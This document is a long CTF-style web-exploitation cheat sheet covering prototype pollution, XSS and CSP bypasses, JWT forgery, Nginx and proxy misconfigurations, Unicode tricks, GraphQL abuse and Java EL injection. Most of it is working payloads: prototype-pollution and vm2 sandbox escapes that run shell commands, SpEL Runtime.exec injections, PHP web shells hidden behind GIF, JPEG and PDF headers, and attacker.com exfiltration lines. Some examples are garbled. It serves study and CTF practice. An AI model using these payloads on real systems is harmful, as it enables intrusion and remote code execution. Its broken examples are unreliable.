console.log({}.b) // 2 (prototype polluted!)How it works: Object.assign() copies properties, including __proto__. When it copies __proto__, it modifies the prototype.
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // trueHow it works: $.extend() recursively merges objects. In jQuery < 3.4.0, it doesn't handle __proto__ specially, allowing prototype pollution.
Object.prototype.env = {
NODE_DEBUG: 'require("child_process").execSync("touch /tmp/pwned")//',
NODE_OPTIONS: '-r /proc/self/environ'
};
// Any process spawn will use these environment variables
spawn('node', ['script.js']);How it works:
- Pollute
Object.prototype.envso all objects inherit these environment variables NODE_OPTIONS: '-r /proc/self/environ'makes Node.js load/proc/self/environas a module/proc/self/environcontains theNODE_DEBUGvariable with malicious code- When Node.js loads it, the code executes
a = {}
a["__proto__"]["exports"] = {".": "./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js") // Loads pwn.js insteadHow it works: Node.js's module resolution can be manipulated by polluting the exports object used in require().
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";How it works: EJS uses outputFunctionName in template compilation. If polluted, it injects malicious code into the generated template function.
XSS allows attackers to inject JavaScript into web pages viewed by other users. This can steal cookies, session tokens, or perform actions as the victim.
<script>alert(1)</script>How it works: The <script> tag executes JavaScript directly.
<svg/onload=alert(1)>How it works: SVG elements support event handlers like onload. When the SVG loads, the JavaScript executes.
<img src=# onerror=alert(1)>How it works: If the image fails to load (src=# is invalid), the onerror event fires, executing JavaScript.
<a href="javascript:alert(1)">Click</a>How it works: The javascript: pseudo-protocol in href executes JavaScript when clicked.
Case insensitivity:
<ScRipT>alert(1)</ScRipT>How it works: HTML tags are case-insensitive. Some filters only check lowercase.
Quote variations:
<img src=# onerror=alert(1)>How it works: Attributes don't always need quotes. This bypasses filters looking for quoted strings.
HTML encoding:
<svg/onload=alert(1)>How it works: HTML entities are decoded before execution. This hides the actual characters from filters.
element.innerHTML = '<img src=@ onerror=alert(1)>'; // Executes
element.innerHTML = '<script>alert(1)</script>'; // Doesn't executeWhy: For security, <script> tags inserted via innerHTML don't execute. However, other tags with event handlers do.
Double SVG trick:
element.innerHTML = '<svg><svg onload=alert(1)>'; // Executes!Why this works: The outer SVG creates a context where the inner SVG's onload is allowed to execute.
CSP (Content Security Policy) restricts what resources a page can load. It's defined in the Content-Security-Policy header.
<base href="http://attacker.com/">How it works: The <base> tag sets the base URL for all relative URLs on the page. If an attacker can inject this, all relative script/CSS loads come from their server.
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>How it works: JSONP (JSON with Padding) allows cross-origin requests by using a callback parameter. If the site is whitelisted in CSP, you can use its JSONP endpoints to execute code.
<link rel="dns-prefetch" href="https://attacker.com">How it works: Even with strict CSP, browsers will perform DNS lookups for dns-prefetch links. This can be used to exfiltrate data (encoded in subdomains) via DNS requests.
<form id="test1"></form>
<script>
console.log(test1); // <form id="test1">
</script>How it works: Elements with id become global variables. This can overwrite existing variables.
<form name="getElementById"></form>
<script>
document.getElementById("form"); // Error - function is clobbered!
</script>How it works: The form with name="getElementById" creates a global variable that shadows the native document.getElementById method.
<a id="test1">Link 1</a>
<a id="test1">Link 2</a>
<script>
console.log(window.test1); // HTMLCollection of both a elements
</script>How it works: Multiple elements with the same id create an HTMLCollection instead of a single element.
Original: user=kaibro;role=user
Blocks: [user=kaib] [ro;role=] [user]
Craft: user=aaa admin;ro le=user
Blocks: [user=aaa] [admin;ro] [le=user]
Combine: [user=aaa] [le=user] [admin;ro]
Result: user=aaa;role=admin
How it works: ECB encrypts each block independently. By rearranging encrypted blocks, you can create new valid ciphertexts with different meanings.
In CBC mode: Plaintext = Decrypt(Ciphertext) XOR PreviousCiphertext
If you control the IV:
Original: IV XOR Decrypt(C) = P
To get P' (desired plaintext):
New IV = IV XOR P XOR P'
Result: NewIV XOR Decrypt(C) = P'
How it works: By modifying the IV (or previous ciphertext block), you can predictably change the corresponding plaintext byte.
How it works:
- Server reveals whether padding is valid (PKCS#7)
- Modify last byte of previous block until padding becomes valid (0x01)
- This reveals
Decrypt(C)[last] = modified_byte XOR 0x01 - Continue to decrypt entire block
- Then XOR with original ciphertext to get plaintext
Affects MD5, SHA-1, SHA-256.
How it works: If you know H = hash(secret + message) and the length of secret, you can compute hash(secret + message + padding + extension) without knowing the secret.
HashPump tool:
hashpump -s '6d5f807e23db210bc254a28be2d6759a' \
-d 'original message' \
-k 16 \
-a 'extra data'header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Parts:
- Header: Algorithm and token type (base64 encoded)
- Payload: Claims (base64 encoded)
- Signature: Verifies token integrity
import jwt
token = jwt.encode({"user": "admin"}, key="", algorithm="none")How it works: If the server accepts the "none" algorithm, it won't verify the signature. The token is accepted without any signature.
public = open('public.pem', 'r').read()
token = jwt.encode({"user": "admin"}, key=public, algorithm='HS256')How it works: If the server uses RS256 (RSA) but you have the public key, you can create a token with HS256 using the public key as the HMAC secret. The server will verify it with the same public key.
{
"kid": "../../../../etc/passwd",
"user": "admin"
}How it works: The kid (key ID) header tells the server which key to use for verification. If the server uses it to read a file, path traversal can read arbitrary files.
env x='() { :;}; echo vulnerable' bash -c 'echo test'How it works: Vulnerable bash versions execute code after the function definition in environment variables. This affects CGI scripts that pass HTTP headers as environment variables.
Common headers:
X-Forwarded-For
Client-IP
X-Client-IP
X-Real-IP
X-Remote-IP
How it works: These headers tell the server the original client IP. If the server trusts them, attackers can spoof their IP to bypass IP-based restrictions.
Vulnerable config:
location /files {
alias /home/;
}Exploit:
/files../etc/passwd # Traverses out of /home/
How it works: If alias doesn't have a trailing slash, ../ can break out of the intended directory.
How it works: Server can push resources to client. By analyzing which resources are pushed, an attacker might infer information about the user's state (e.g., logged in vs not logged in).
ln -s ../../../../../../etc/passwd link
zip --symlink evil.zip linkHow it works: When extracted, creates a symlink to /etc/passwd. If the application reads files from the extracted zip, it might follow the symlink to sensitive files.
- Shodan - Searches for internet-connected devices
- Censys - Internet-wide scan data
- crt.sh - Certificate transparency logs
- Sublist3r - Enumerates subdomains using search engines
- Amass - In-depth subdomain enumeration
- Assetfinder - Fast subdomain discovery
- Dirb - Directory brute forcing
- Gobuster - Fast directory/file enumeration
- FFUF - Flexible fuzzing tool
- cmd5.com - MD5 reverse lookup
- crackstation.net - Large hash database
- Hashcat - GPU-accelerated hash cracking
- John the Ripper - Password cracking
- Burp Suite - Web proxy and scanner
- CyberChef - The Cyber Swiss Army Knife (encoding, encryption, etc.)
- PayloadsAllTheThings - Collection of payloads for various attacks
- HackTricks - Comprehensive hacking techniques
- Interactsh - OOB testing platform
- Burp Collaborator - Burp's OOB testing service
- CTFtime - CTF schedule and writeups
- picoCTF - Educational CTF platform
- CTFlearn - Practice CTF challenges
curl -X OPTIONS http://target.com/ -iWhat it does: The OPTIONS method asks the server which HTTP methods are allowed for a particular resource. The response includes an Allow header listing supported methods like GET, POST, PUT, DELETE, etc.
Why this matters in CTF:
- Discovering allowed methods can reveal hidden functionality
- Some methods like PUT or DELETE might be enabled by mistake
- TRACE method can lead to XSS (Cross-Site Tracing)
- WebDAV methods (PROPFIND, COPY, MOVE) might allow file manipulation
Example response:
HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE
Content-Length: 0
@app.route('/admin', methods=['GET'])
def admin():
# This also handles HEAD requests automatically
return sensitive_dataHow it works: In many frameworks (like Flask/Werkzeug), if you define a route for GET, it automatically handles HEAD requests by default. The framework runs the GET handler but discards the body, only sending headers.
Security implications:
- Developers might forget that HEAD requests execute the same code as GET
- If sensitive operations happen in GET handlers, HEAD requests can trigger them without returning data
- Can be used to test for existence of resources without downloading large files
- Some WAFs might not check HEAD requests thoroughly
CTF Example - FwordCTF 2021 "Shisui": The challenge had a route that checked for admin access only in GET requests, but HEAD requests bypassed the check while still executing the sensitive code.
Bypassing GitHub's OAuth flow: GitHub's OAuth implementation had a vulnerability where HEAD requests to the callback URL would trigger the OAuth completion flow without requiring the user to actually visit the page, potentially leading to account takeover.
dig @dns-server domain.com axfrWhat is a zone transfer? DNS zone transfer (AXFR) is a mechanism used to replicate DNS databases across DNS servers. It allows a secondary server to receive a complete copy of all DNS records from the primary server.
How it works:
- The
axfr(full zone transfer) request asks the DNS server to send all records for a domain - This should only be allowed between trusted servers
- Misconfigured DNS servers may allow anyone to request a zone transfer
What you can find:
- All subdomains (not just the ones in public records)
- Internal hostnames that shouldn't be exposed
- IP addresses of internal servers
- Mail server configurations
- TXT records that might contain verification strings or secrets
Example output:
; <<>> DiG 9.16.1-Ubuntu <<>> @ns1.example.com example.com axfr
; (1 server found)
;; global options: +cmd
example.com. 3600 IN SOA ns1.example.com. admin.example.com. 2024030601 7200 3600 1209600 3600
example.com. 3600 IN NS ns1.example.com.
example.com. 3600 IN NS ns2.example.com.
example.com. 3600 IN A 192.168.1.10
admin.example.com. 3600 IN A 192.168.1.20
internal.example.com. 3600 IN A 10.0.0.5
secret.example.com. 3600 IN A 10.0.0.6
How to test:
# Try zone transfer on common name servers
dig @ns1.example.com example.com axfr
dig @ns2.example.com example.com axfr
# Try with different domains
dig @target.com target.com axfr
# Use dnsrecon tool
dnsrecon -d example.com -t axfrOn Windows, for backward compatibility with older systems, every file gets a short 8.3 filename:
longfilename.txt→LONGFI~1.TXTadministrator→ADMINI~1program files→PROGRA~1
How it works: When a file is created, Windows generates a short name that follows the pattern:
- First 6 characters of the long name (uppercase)
- Tilde (~)
- Number (to avoid collisions)
- First 3 characters of the extension (uppercase)
Why this is a vulnerability: Even if the web server is configured to hide directory listings, the 8.3 short names can be brute-forced because:
- The character set is limited (A-Z, 0-9, and a few special chars)
- The pattern is predictable
- IIS responds differently to existing vs non-existing short names
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/How the scanner works:
- It sends requests for various short name patterns
- IIS returns different HTTP status codes for existing vs non-existing files
- By analyzing responses, it can reconstruct the actual filenames
Detection methods:
- 403 vs 404: Some IIS versions return 403 (Forbidden) for existing files but 404 for non-existing
- Content-Length: Different response sizes can indicate file existence
- Response time: Existing files might take slightly longer to process
What you can discover:
- Source code filenames (even if .asp/.aspx extensions are hidden)
- Backup files
- Configuration files
- Admin panel locations
CTF Example - MidnightSun CTF 2024 "ASPowerTools":
The challenge had a hidden admin panel. Using short name enumeration, contestants discovered a backup file admin~1.bak that contained the source code with credentials.
To disable 8.3 filename creation on Windows:
fsutil behavior set disable8dot3 1Node.js uses UCS-2 internally for string handling. This can lead to path traversal bypasses when combined with Unicode characters.
Unicode has "fullwidth" versions of ASCII characters:
A(U+0041) →A(U+FF21) - Fullwidth Latin capital A.(U+002E) →.(U+FF0E) - Fullwidth full stop/(U+002F) →/(U+FF0F) - Fullwidth solidus
The bypass:
NN # Fullwidth 'N' (U+FF2E) + Fullwidth 'N' (U+FF2E)
How it works:
- The application has a filter that blocks
..(two dots) - Attacker uses fullwidth characters:
.. - The filter doesn't recognize these as dots
- After Unicode normalization (NFC/NFD), these may be converted to regular dots
- Or the filesystem might treat them as equivalent to regular dots
- NFC (Normalization Form C): Composed characters
- NFD (Normalization Form D): Decomposed characters
Example:
'é' can be represented as:
- U+00E9 (LATIN SMALL LETTER E WITH ACUTE) - NFC
- U+0065 U+0301 (e + combining acute) - NFD
Exploitation: If the application normalizes input in one way but the filesystem uses another, bypasses can occur.
// Vulnerable filter
function isSafe(path) {
return !path.includes('..');
}
// Bypass using Unicode
let malicious = '../etc/passwd'; // Fullwidth dots
if (isSafe(malicious)) {
fs.readFile(malicious); // Still reads /etc/passwd on some systems
}CRLF (Carriage Return + Line Feed) characters are used to terminate lines in HTTP headers:
\r(Carriage Return) - 0x0D\n(Line Feed) - 0x0A
Some Unicode characters contain control characters in their decomposition:
// U+560A contains 0x0A (newline)
%E5%98%8A # URL encoded, decodes to a character containing newlineHow this bypasses filters:
- Application filters look for
%0aor\nin the input - Attacker uses
%E5%98%8A(a valid Unicode character) - When decoded and processed, this character may decompose to include a newline
- The CRLF injection succeeds despite the filter
Example - HTTP Header Injection:
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0%E5%98%8AContent-Length: 0%E5%98%8A%E5%98%8AGET /admin HTTP/1.1After decoding, this becomes:
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Length: 0
GET /admin HTTP/1.1Why this works: The server decodes the URL, then processes the Unicode. Some Unicode normalization routines may expand certain characters into multiple ASCII characters, including control characters.
MySQL has two UTF-8 implementations:
utf8 (utf8mb3):
- Maximum 3 bytes per character
- Cannot store characters outside the Basic Multilingual Plane (BMP)
- Does NOT support emoji or certain special characters
utf8mb4:
- Maximum 4 bytes per character
- Supports all Unicode characters, including emoji
- Required for characters like
🔓(U+1F513)
When a 4-byte character (like an emoji) is inserted into a column defined as utf8 (3-byte) in non-strict mode, MySQL truncates the character, potentially breaking string boundaries.
How it works:
-- Column defined as VARCHAR(255) CHARACTER SET utf8
INSERT INTO table VALUES('admin🔓');In non-strict mode, MySQL might:
- Try to insert the 4-byte emoji
- Realize it doesn't fit in a 3-byte character set
- Truncate the character, resulting in something like 'admin' + partial byte
Security implications: This can break XSS filters or SQL injection protections that rely on proper string handling.
WordPress had a vulnerability where:
- A comment containing a 4-byte character was posted
- MySQL truncated the character when storing in a utf8 column
- This broke HTML entity encoding
- Resulted in XSS when the comment was displayed
Payload:
<svg onload=alert(1)>🔓When truncated, the closing > might be lost, causing the SVG tag to remain open and execute JavaScript.
Always use utf8mb4 for complete Unicode support:
CREATE TABLE table (
column VARCHAR(255) CHARACTER SET utf8mb4
);Set default character set:
[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ciWhen multiple proxies or web servers are involved (e.g., Nginx in front of Tomcat), they may interpret requests differently. These inconsistencies can be exploited.
Different servers handle path parameters (semicolon syntax) differently:
# Tomcat/Jetty: /path;param/abcd → /path/abcd
# WebLogic/WildFly: /path;param/abcd → /path
How it works: Some servers strip path parameters, others don't. This can lead to different interpretations of the same URL.
Exploitation:
GET /admin;param/../flag HTTP/1.1- Frontend (Nginx): Sees
/admin;param/../flag→ Normalizes to/flag(access allowed) - Backend (Tomcat): Strips
;paramfirst →/admin/../flag→ Normalizes to/flag(still allowed)
But if the frontend blocks /admin while the backend doesn't:
GET /admin;param/../secret HTTP/1.1- Frontend:
/admin;param/../secret→ Normalizes to/secret(bypasses admin block) - Backend: Strips
;param→/admin/../secret→ Normalizes to/secret(still bypassed)
GET /docs/..;/manager/html HTTP/1.1How it works:
- Nginx sees
/docs/..;/manager/html- might not trigger deny rules if they only match exact paths - Tomcat sees
/manager/htmlafter path normalization (accesses Tomcat manager)
GET /admin//../flag HTTP/1.1How it works:
- Nginx with
proxy_passwithout trailing slash:/admin//../flagnormalized to/flag - Apache might see the original path differently due to double slash handling
GET /#/../console HTTP/1.1How it works:
- Nginx sees
/#/../console- the fragment#is not sent to the server - But some servers interpret
#differently, potentially allowing path traversal
GET /admin/key\x09HTTP/1.1/../../../ HTTP/1.1How it works:
- Nginx denies
/adminbut sees the path as/after normalization - Gunicorn (Python WSGI server) normalizes differently and sees
/admin/key
CTF Example - CSAW 2021 "gatekeeping": The challenge used Nginx in front of Gunicorn. By injecting a tab character, contestants could bypass Nginx's path-based filtering while still reaching the protected endpoint in Gunicorn.
Nginx: Case sensitive
Swift: Case insensitive
Exploitation: If rate limiting is based on path case, you can bypass by varying case:
GET /admin/stats
GET /Admin/stats
GET /ADMIN/stats
Each request has a different path according to Nginx's case-sensitive cache, but Swift sees them all as the same endpoint.
CONNECT + keep-alive + 200 status
How it works:
- Send a CONNECT request through HAProxy
- If it returns 200 with keep-alive
- HAProxy enters "tunnel mode" - forwards raw bytes without inspection
- Subsequent requests bypass all HAProxy rules
location /internal {
internal;
alias /path/to/files/;
}The internal directive makes a location accessible only from internal Nginx requests (like error pages, subrequests, or X-Accel redirects), not directly from clients.
X-Accel-Redirect: /internal/secret.txtHow it works:
- Nginx has a feature called X-Accel (used for internal redirection)
- If the application returns this header, Nginx internally serves the specified file
- This bypasses the
internaldirective because it's an internal request
When this works: The application must be able to set this header. Common scenarios:
- PHP script that reads user input and sets headers
- Misconfigured application that doesn't validate the path
- SSRF that can control response headers
CTF Example - Olympic CTF 2014 "CURLing": The challenge had a PHP script that fetched URLs and returned the response. By using a file:// URL that triggered an error page with X-Accel-Redirect, contestants could read internal files.
CTF Example - MidnightSun CTF 2019 "bigspin":
The application allowed setting redirect headers. By setting X-Accel-Redirect: /internal/flag, contestants bypassed the internal restriction.
Use internal with proper validation:
location /internal {
internal;
alias /path/to/files/;
# Also validate that the request comes from trusted sources
}location /files {
alias /home/;
}The vulnerability: When alias is used without a trailing slash, it can lead to path traversal.
/files../etc/passwd
How it works:
- Nginx receives request for
/files../etc/passwd - It matches the location
/files - It replaces
/fileswith/home/(from alias) - Result:
/home/../etc/passwd - Normalizes to
/etc/passwd
The math:
Original: /files../etc/passwd
Replace: /home/ + ../etc/passwd
Result: /home/../etc/passwd = /etc/passwd
Always use trailing slashes consistently:
# Safe
location /files/ {
alias /home/;
}
# Also safe (but be consistent)
location /files {
alias /home;
}add_header directives in Nginx only apply to specific HTTP status codes:
200, 201, 204, 206, 301, 302, 303, 304, 307, 308
location /admin {
add_header X-Frame-Options "DENY";
# This header will NOT be added for 404, 403, 500, etc.
}Exploitation:
- Cause an error page (404, 500)
- Security headers are missing
- Vulnerable to clickjacking or other attacks
Example: If an admin panel returns 403 for unauthorized users, the X-Frame-Options header might be missing, allowing clickjacking attacks.
# Check headers for successful response
curl -I https://target.com/admin/
# Check headers for error response
curl -I https://target.com/admin/nonexistentproxy_pass http://backend$uri;The $uri variable in Nginx contains the normalized request URI. If it contains encoded newlines, they can be injected into the upstream request.
/ HTTP/1.1%0d%0aHost: evil.com%0d%0a%0d%0a
What happens:
- Nginx receives request for
http://target/ HTTP/1.1%0d%0aHost: evil.com%0d%0a%0d%0a $uribecomes/ HTTP/1.1\r\nHost: evil.com\r\n\r\nproxy_passsends to backend:GET / HTTP/1.1\r\nHost: evil.com\r\n\r\n HTTP/1.1- This can inject additional headers or even a second request
- HTTP request smuggling
- Header injection
- Cache poisoning
- Bypassing security controls
CTF Example - VolgaCTF 2021 "Static Site":
The challenge used Nginx as a reverse proxy with proxy_pass http://backend$uri. By injecting CRLF, contestants could add headers to reach internal endpoints.
Use $request_uri instead of $uri for proxy_pass:
proxy_pass http://backend$request_uri;Or validate/encode the URI before passing.
JavaScript's toUpperCase() and toLowerCase() follow Unicode case folding rules, which can lead to unexpected results.
"ı".toUpperCase() === 'I' // Turkish dotless i becomes I
"i".toUpperCase() === 'İ' // Turkish dotted i becomes İ with dotSecurity implications: If you're doing case-insensitive comparisons for domain names or paths, this can lead to bypasses.
"ſ".toUpperCase() === 'S' // Long s (historical) becomes S"K".toLowerCase() === 'k' // Kelvin sign becomes k// Case-insensitive domain check
function isGoogle(domain) {
return domain.toLowerCase() === 'google.com';
}
// Bypass
isGoogle('google.com') // true
isGoogle('GOOGLE.COM') // true
isGoogle('google.com') // Wait, that's not...- Domain validation bypasses: Some characters normalize to the same ASCII character but have different representations
- XSS filters: Case folding might change the meaning of JavaScript code
- WAF bypasses: Filters looking for specific strings might miss normalized versions
In JavaScript's String.prototype.replace(), when using a string as the replacement, certain patterns have special meaning:
"123456".replace("34", "$`") // "121256"What `$`` means: The portion of the string before the matched substring.
How it works:
- Match: "34" in "123456"
- Before match: "12"
- Replacement: "$`" becomes "12"
- Result: "12" + "12" + "56" = "121256"
"123456".replace("34", "$&") // "123456"What $& means: The matched substring itself.
How it works: Replacement becomes "34", resulting in "12" + "34" + "56" = "123456"
"123456".replace("34", "$'") // "125656"What $' means: The portion after the matched substring.
How it works:
- After match: "56"
- Replacement: "$'" becomes "56"
- Result: "12" + "56" + "56" = "125656"
"123456".replace("34", "$$") // "12$56"What $$ means: A literal dollar sign.
If user input controls the replacement string, they can use these special patterns to manipulate the output in unexpected ways.
CTF Example - Dragon CTF 2021 "webpwn":
The challenge used replace() with user-controlled replacement. Contestants used $&, $``, and $'` to extract parts of the string and bypass filters.
// Extract data using replacement patterns
let secret = "flag{abc123}";
let userInput = "flag";
let result = secret.replace(userInput, "$`$&$'");
// This effectively duplicates the stringProxies in JavaScript allow intercepting operations on objects:
var p = new Proxy(
{flag: FLAG},
{get: () => 'nope'}
);
// Any property access returns 'nope'
console.log(p.flag); // 'nope'Object.getOwnPropertyDescriptor(p, 'flag').value // Returns actual flagHow it works:
getOwnPropertyDescriptoris a fundamental operation that gets property metadata- The proxy's
gettrap doesn't intercept this - It returns the actual property descriptor, which contains the real value
- Access the
.valueproperty to get the flag
// Using Reflect
Reflect.get(p, 'flag') // Also intercepted by proxy
// But Reflect.getOwnPropertyDescriptor works
Reflect.getOwnPropertyDescriptor(p, 'flag').value
// Using Object.keys to see enumerable properties
Object.keys(p) // Might reveal property names
// Using property enumeration
for (let key in p) {
console.log(key); // Might iterate over real properties
}CTF Example - corCTF 2022 "sbxcalc": The challenge used proxies to hide a flag. Contestants had to find ways to bypass the proxy traps to access the underlying object.
The vm module allows running JavaScript code in a sandboxed context. However, it's not a security mechanism and multiple escapes exist.
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('id').toString();Step-by-step explanation:
this- In the VM context,thisis the global objectthis.constructor- Gets the Object constructorthis.constructor.constructor- Gets the Function constructorFunction('return this.process')- Creates a function that returnsthis.processfrom the outer scopeprocess.mainModule.require- Accesses Node.js's require to load child_processexecSync('id')- Executes the command
Why this works: The Function constructor has access to the global scope outside the VM sandbox.
Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``How it works: Using template literals to bypass character filters. Template literals can call functions without parentheses.
The challenge restricted characters severely. Contestants used template literals and property accessors to build the escape payload character by character.
vm2 is a popular npm package that attempts to provide a secure sandbox for Node.js. Multiple vulnerabilities have been found over the years.
Various escapes existed in early versions. The sandbox could be broken by accessing the host machine's prototype chain.
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami");How it works:
import()returns a Promise- Access its
toStringproperty, then itsconstructor(Function) - Create a function that returns
this(global object) - Access
processfrom the global object - Require
child_processand execute commands
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule
.require('child_process').execSync('id');
}How it works:
- Trigger a stack overflow to get an error object
- The error object's constructor points to Function
- Use it to create a function that returns
process - Escape the sandbox
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('id');
}How it works:
- Create a proxy with a
getPrototypeOftrap - The trap triggers a stack overflow
- Catch the error, destruct its constructor
- Use constructor to escape
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => {
return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id');
}
)
}
}
};
p.then();vm2 is officially deprecated as of 2024. The author recommends using isolated-vm or other alternatives:
Tomcat includes a session example by default:
/examples/servlets/servlet/SessionExample
This page allows:
- Viewing current session attributes
- Adding new session attributes
- Modifying existing attributes
- Removing attributes
If this page is accessible and not secured:
-
Session Fixation:
- Set a known session ID
- Add attributes to make it look like an authenticated session
-
Privilege Escalation:
- If roles/permissions are stored in session, modify them
- Add
isAdmin=trueor similar attributes
-
Information Disclosure:
- View session attributes of other users (if you can guess their session ID)
- View application internals stored in session
- Remove examples from production Tomcat installations
- Secure the
/examplescontext with authentication - Disable the examples entirely in
web.xml
XBM (X BitMap) is an image format that also works as a valid .htaccess file:
#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
How it works:
- XBM format starts with
#definedirectives (looks like comments to Apache) - Apache .htaccess files can have comments starting with
# - The rest is valid .htaccess configuration
- Apache parses it as .htaccess despite the image-like appearance
AddType application/x-httpd-php .asp
This tells Apache to treat .asp files as PHP. Combined with an upload vulnerability:
- Upload this file as
image.xbm(passes image validation) - It's actually a
.htaccessfile that configures the directory - Upload a file with
.aspextension containing PHP code - Apache executes it as PHP
GIF + PHP:
GIF89a
<?php system($_GET['cmd']); ?>
JPEG + PHP:
ÿØÿà JFIF
<?php system($_GET['cmd']); ?>
PDF + PHP:
%PDF-1.4
<?php system($_GET['cmd']); ?>
Mass assignment (also called autobinding) occurs when a framework automatically binds HTTP parameters to object properties. Attackers can set properties that weren't intended to be user-modifiable.
@RequestMapping("/update")
public String update(@ModelAttribute User user) {
// If User has 'role' field, attacker can set it
return "success";
}The vulnerability: Spring automatically binds all request parameters to the User object's properties.
Normal request: POST /update?username=attacker
Malicious request: POST /update?username=attacker&role=admin
If the User class has a role field (even if not in the form), it gets set to "admin".
In older Rails versions (before strong parameters):
def update
@user = User.find(params[:id])
@user.update_attributes(params[:user]) # Dangerous!
endExploitation: POST /users/1?user[role]=admin
public function update(Request $request, $id)
{
$user = User::find($id);
$user->update($request->all()); // Dangerous!
}Spring: Use DTOs (Data Transfer Objects) or @ModelAttribute with allowed fields
Rails: Use strong parameters
params.require(:user).permit(:username, :email)Laravel: Define $fillable or $guarded properties in models
CTF Example - VolgaCTF 2019 "shop":
The challenge had a user update endpoint. By adding role=admin to the request, contestants could elevate privileges.
Expression Language (EL) is used in Java EE applications to evaluate expressions dynamically. SpEL (Spring Expression Language) is Spring's more powerful version.
${"a".toString()}
${"".getClass()}
${applicationScope}
${sessionScope}How to identify: If these expressions are evaluated (not displayed literally), the application is vulnerable to EL injection.
${T(java.lang.Runtime).getRuntime().exec('id')}How it works:
T(...)is the EL syntax for accessing a classjava.lang.Runtimeis the class withexec()methodgetRuntime()gets the Runtime instanceexec('id')executes the command
${Class.forName('java.lang.Runtime').getRuntime().exec('id')}Alternative using reflection.
${request.getClass().forName('javax.script.ScriptEngineManager')
.newInstance().getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec("id")')}How it works:
- Access the request object
- Use it to load
ScriptEngineManager - Get JavaScript engine
- Execute JavaScript that runs Java code
- Spring MVC views (JSP, Thymeleaf)
- Spring annotations (
@Value) - XML configuration files
- Custom expression evaluators
CTF Example - Line CTF 2024 "Heritage": The challenge had a page that evaluated user input as SpEL. Contestants used various payloads to bypass filters and achieve RCE.
CTF Example - Seikai CTF 2023 "Frog WAF": The application had a WAF that blocked certain patterns. Contestants used creative SpEL expressions to bypass the filters.
GraphQL is a query language for APIs that allows clients to request exactly the data they need. It has a single endpoint (usually /graphql) and uses a schema to define available data.
Introspection allows clients to query the schema itself. This is often enabled in development but accidentally left on in production.
List all types:
{ __schema { types { name } } }Get full schema:
fragment FullType on __Type {
kind
name
fields(includeDeprecated: true) {
name
args { ...InputValue }
type { ...TypeRef }
}
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue {
name
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType { kind name ofType { kind name ofType { kind name } } }
}
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types { ...FullType }
directives {
name
description
locations
args { ...InputValue }
}
}
}Why this is dangerous: Attackers can discover all available queries, mutations, and types, including hidden fields that might contain sensitive data.
GraphQL may suggest field names in error messages:
{
"message": "Cannot query field \"pass\" on type \"User\". Did you mean \"password\"?"
}How to exploit: This leaks information about existing fields. By trying different field names and seeing suggestions, you can map out the schema.
[
{ "query": "query { user(id: 1) { name } }" },
{ "query": "query { user(id: 2) { name } }" },
{ "query": "query { user(id: 3) { name } }" }
]How it works: Some GraphQL implementations accept batched queries in an array. If rate limiting counts each HTTP request, not each query, you can send many queries in one request.
Using aliases:
query {
u1: user(id: 1) { name }
u2: user(id: 2) { name }
u3: user(id: 3) { name }
}Aliases allow requesting the same field multiple times with different arguments.
/graphql?query=query{__typename}
How it works: If GraphQL accepts GET requests (and many do for simple queries), it can be vulnerable to CSRF. An attacker can embed this URL in a <img> tag or similar to make the victim's browser execute queries.
query {
user(id: 1) {
posts { author { posts { author { posts { ... } } } } }
}
}How it works: Deeply nested queries can consume excessive server resources. Some GraphQL implementations don't limit query depth by default.
query {
user(id: 1) {
alias1: __typename
alias2: __typename
alias3: __typename
# ... many aliases
}
}How it works: Each alias creates a separate field resolution. Thousands of aliases can overwhelm the server.
- graphw00f - GraphQL server fingerprinting
- GraphQLmap - Interactive GraphQL exploitation tool
- InQL - Burp Suite extension for GraphQL testing
Line CTF 2023 "Momomomomemomemo": The challenge had a GraphQL endpoint with introspection disabled. Contestants used field suggestions and timing attacks to discover hidden fields.
VolgaCTF 2020 "library": GraphQL mutation allowed updating user profiles. By discovering hidden fields through introspection, contestants could modify their role to admin.
HTTP/2 allows servers to "push" resources to clients before they're requested, improving performance. The server decides what to push based on the initial request.
// Attacker page
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/search?q=secret';
document.body.appendChild(iframe);How it works:
- Victim visits attacker's page
- Attacker makes a request to the target site (e.g., search query)
- The target server may push resources based on the query
- Attacker can observe which resources were pushed
